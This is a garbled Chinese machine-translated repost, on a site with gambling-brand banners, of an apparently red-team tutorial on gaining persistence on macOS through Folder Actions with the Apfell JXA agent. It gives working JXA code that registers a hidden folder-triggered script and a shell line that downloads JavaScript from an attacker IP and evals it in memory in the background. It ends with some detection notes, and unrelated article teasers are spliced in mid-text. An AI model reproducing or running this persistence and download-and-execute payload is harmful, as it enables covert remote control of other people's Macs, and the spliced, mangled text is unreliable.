应用macOS 的 Folder Actions 功用完成耐久化掌握 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

应用macOS 的 Folder Actions 功用完成耐久化掌握

申博_安全预警 申博 188次浏览 未收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-与Windows平台比拟,为macOS平台渗入测试引见新型战术、手艺和顺序(TTP)的文章数要少很多。因而,本文将为读者细致引见一种新型的要领:应用Apfell框架中的JavaScript for Automation(JXA)署理完成对macOS的耐久掌握。

我们晓得,macOS供应了一种名为Folder Actions的功用,特地用于在用户界说的文件夹上触发实行AppleScript。据Apple的文档称:

“当相干的文件夹增加或删除项目时,或当翻开、封闭、挪动或调解其窗口大小时,就会实行Folder Action剧本。”

作为攻击者,这听起来异常奇异。一旦在联系关系的文件夹上触发了上述事宜,体系就会自动替我们实行AppleScript文件。而且,剧本是在用户的高低文中实行的,纵然您(攻击者)将文件夹操纵的实行身份注册为root用户,也是云云。

那末,详细该怎样操纵呢?现实上,至少有三种要领:

  1. 运用Automator顺序建立Folder Action工作流文件(.workflow),并将其安装为效劳。
  2. 右键单击文件夹,挑选“文件夹操纵设置…”,“运转效劳”,然后手动附加剧本。
  3. 运用OSAScript将Apple Event音讯发送到System Events.app,以编程体式格局查询和注册新的Folder Action。

在Apfell中,我运用的是第三种要领。须要注重的是,若是运用第二种要领,UI将自动限定您对/Library/Scripts/Folder Action Scripts和~/Library/Scripts/Folder Action Scripts中剧本的可见性。运用第三种要领的话,我们不只能够将该剧本放到恣意地位,并依然能够援用它。

操纵步调

起首,我们须要一份编译好的OSAScript文件(.scpt)。荣幸的是,我们能够经由过程AppleScript或JavaScript for Automation(JXA)完成这一点。在这里,我们选用后者。接下来,请翻开剧本编辑器,并复制以下代码(用作浅易的PoC):

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /Users/itsafeature/Desktop/touched.txt");

将这个文件命名为disk_watching.scpt,然后,将其保存到您选定的目次便可。如许,我们就能够经由过程osascript folder_watching.scpt敕令来运转这个剧本了。现实上,这个剧本的功用异常简朴:将一个空文件写入/Users/itsafeature/Desktop/touched.txt。在我们运转的剧本中能够包罗任何有用的OSAScript代码,但必需将其编译为.scpt花样。接下来,我们须要将这个剧本与一个文件夹的现实JXA代码联系关系起来。为此,我们须要实行以下操纵:

var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "folder_watch.scpt", posixPath: "/Users/itsafeature/Desktop/folder_watch.scpt"});
var fa = se.FolderAction({name: "watched", path: "/Users/itsafeature/Desktop/watched"});
se.folderActions.push(fa);
fa.scripts.push(myScript);

在这个剧本中,我们实行了以下操纵:

  • 翻开了对System Events.app应用顺序的援用。经由过程它,能够发送Apple事宜(这只是在MacOS体系长进行历程间通讯(IPC)的体式格局之一)。从MacOS10.14(Mojave)最先,第一次实验将Apple事宜从一个应用顺序发送到另一个应用顺序时,会弹出以下所示窗口:

应用macOS 的 Folder Actions 功用完成耐久化掌握

macOS Mojave的Apple Event音讯的规范弹出窗口

  • 该音讯能够在System Preferences -> Security & Privacy -> Privacy中找到。我们经由过程Osascript实行操纵时碰到的题目一般显如今左边的Automation种别中。这个弹出窗口是在第一次涌现一个新的Apple事宜衔接组合(即源和目的应用顺序)时涌现的。若是用户已许可或禁用这个特定的源/目的组合,则不会弹出。在JXA中,若是用户禁用该功用,您将收到一条一般的Error音讯:Error: An error occurred (-1743)。借助搜索引擎,我们发明体系不许可将AppleEvent发送给应用顺序。若是您须要重置该音讯,能够运用tccutil二进制文件重置这些权限,也能够在UI中切换这些权限。

应用macOS 的 Folder Actions 功用完成耐久化掌握

Security & Privacy要求屏幕中显现的要求/要求的应用顺序组合

  • 我们接下来要做的是启用folder actions功用。固然,该功用的作用局限一般有两种,个中,若是se.folderActionsEnabled = true,透露表如今体系局限内启用Folder Actions功用。一旦启用了该功用,就会零丁为各个文件夹操纵供应响应的启用/禁用功用。

  • 我们须要先建立一个Script工具。它只是指向我们的剧本地点的地位(它能够是任何目次)。

  • 然后,我们为watched文件夹注册一个文件夹操纵(它一般位于/users/itsafeature/Desktop/watched中),并将其推送到已注册的文件夹操纵列表中。

  • 如许,我们能够将用于该文件夹操纵的剧本增加到文件夹操纵列表中了。

若是您在UI中实行该操纵,则会看到以下窗口:

应用macOS 的 Folder Actions 功用完成耐久化掌握

内核fuzz技术系列(1)——trinity

这是内核fuzz技术系列的第一篇。 前言 提到linux内核fuzz目前最流行的工具是syzkaller,不过在syzkaller出现之前(github上首次commit是2015年10月)linux内核fuzz用到最多的工具是trinity(github上首次commit是2006年3月,1.0版本发布于20

文件夹操纵设置窗口

须要注重的是,您能够将多个剧本与任何文件夹相干联,而且能够离别启用或禁用各个剧本。我们能够运用JXA查询这些雷同的信息,以确保应用了这些文件夹操纵,并查询现有的操纵:

>> var se = Application("System Events");
=> undefined
>> se.folderActions.length;
=> 1
>> se.folderActions[0].properties();
=> {"path":"/Users/itsafeature/Desktop/watching", "enabled":true, "volume":"/", "class":"folderAction", "name":"watching"}
>> se.folderActions[0].scripts.length;
=> 1
>> se.folderActions[0].scripts[0].properties();
=> {"enabled":true, "path":"Macintosh HD:Users:itsafeature:Desktop:folder_watch.scpt", "posixPath":"/Users/itsafeature/Desktop/folder_watch.scpt", "class":"script", "name":"folder_watch.scpt"}

我们能够清楚地看到,响应的剧本已被附加并启用。接下来,我们须要做的末了一件事就是触发它。固然,我们能够经由过程多种体式格局触发该剧本,比方:

  1. 经由过程Finder UI翻开文件夹
  2. 向文件夹中增加文件(能够经由过程拖放完成,以至能够经由过程终端的shell敕令完成)
  3. 从文件夹中删除文件(能够经由过程拖放完成,以至能够供应终端的shell敕令完成)
  4. 经由过程UI导航出文件夹

如今,为了完成耐久掌握,请确保将该剧本与一个文件夹相干联,而且该文件夹能依据您的须要按期触发文件夹操纵。须要注重的是,最好不要与频仍运用的文件夹相干联(如用户的Documents文件夹,主目次或Downloads文件夹),除非您能想法制止本身被回调吞没。

同时,若是您让它长时间运转的话,顶部菜单栏中会涌现一个图标,透露表现它正在处置惩罚某些内容,若是单击它,就能够看到剧本称号:

应用macOS 的 Folder Actions 功用完成耐久化掌握

注解文件夹操纵剧本正在运转的顶部条形图标

要处理这个题目,能够将您的义务作为背景功课运转,以便疾速退出初始的.scpt文件。若是您愿望在JXA中经由过程DoshellScript来完成这一点,那末须要想法让它作为背景义务运转。依据Apple的相干文档:

do shell script always calls /bin/sh. However, in macOS, /bin/sh is really bash emulating sh.

这意味着,若是愿望在背景启动Apfall JXA payload,能够让编译后的剧本包罗以下内容:

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript(" osascript -l JavaScript -e \"eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding($.NSData.dataWithContentsOfURL($.NSURL.URLWithString('http://192.168.205.151/api/v1.2/files/download/22')),$.NSUTF8StringEncoding)));\" &> /dev/null &");

个中的症结局部是shell敕令的末端:&>/dev/null &,该敕令将接见URL http://192.168.205.151/API/v1.2/files/download/22,下载文件,并将其作为背景义务在内存中运转。

与我们经由过程终端实行JXA来设置文件夹操纵完成耐久性掌握分歧,若是完成耐久性掌握的JXA代码是直接实行的,而且将Apple事宜发送到其他应用顺序的话,那末弹出窗口将略有分歧。这时候,我们将在FolderActionsDispatcher的高低文中实行:

应用macOS 的 Folder Actions 功用完成耐久化掌握

FolderActionsDispatcher要求掌握Finder.app

只要将Apple事宜发送到其他应用顺序时,这才会起作用。若是运用shell剧本或应用JXA-Objective C桥来挪用本机Objective C API,则不会涌现这些弹出窗口或题目。

下面是一个简朴的示例,为读者展现了怎样取得APFELL-JXA payload:

天生APFELL-JXA payload的Folder Action

 结束语

与大多数与macOS相干的设置装备摆设一样,该功用也有一个对应的plist,个中寄存了一切的相干信息,它位于~/Library/Preferences/com.apple.FolderActionsDispatcher.plist。个中,这个plist包罗一组递归的base64编码二进制plist,解码后能够看到,个中寄存的是UI和JXA中显现的信息。

依据Richie Cyrus的引见,在运用xnumon考核该功用的父历程条理构造时,能够看到:

  • /usr/libexec/xpcproxy 天生了 /SystemLibrary/CoreServices/ScriptMonitor.app/Contents/MacOS/ScriptMonitor
  • /System/Library/Frameworks/Foundation.framework/Versions/C/XPCServices/com.apple.foundation.UserScriptService.xpc/Contents/MacOS/com.apple.foundation.UserScriptService 天生了 /usr/bin/osascript -sd -E -P /users/itsafeature/Desktop/folder_watch.scpt

这是初始实行链的末端;然则,既然我们在JXA中运用了doShellScript功用(或许在AppleScript中运用shell剧本),那末现实上已经由过程sh -c历程来实行touch敕令。详细来说,`/System/Library/Frameworks/Foundation.framework/Versions/C/XPCServices/com.apple.foundation.UserScriptService.xpc/Contents/MacOS/com.apple.foundation.UserScriptService`将天生子历程`sh -c touch /Users/itsafeature/Desktop/touched.txt`。

区块链安全—深入分析ATN漏洞

一、ATN介绍 ATN作为全球首个区块链+AI项目,是一个去中心化的、无需授权的、用户自定义人工智能即服务(AIaaS)和使用接口的开放区块链平台。ATN公有链将引入DBot的Oracle预言机、跨链互操作技术,且通过石墨烯架构实现高并发TPS,侧重解


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明应用macOS 的 Folder Actions 功用完成耐久化掌握
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址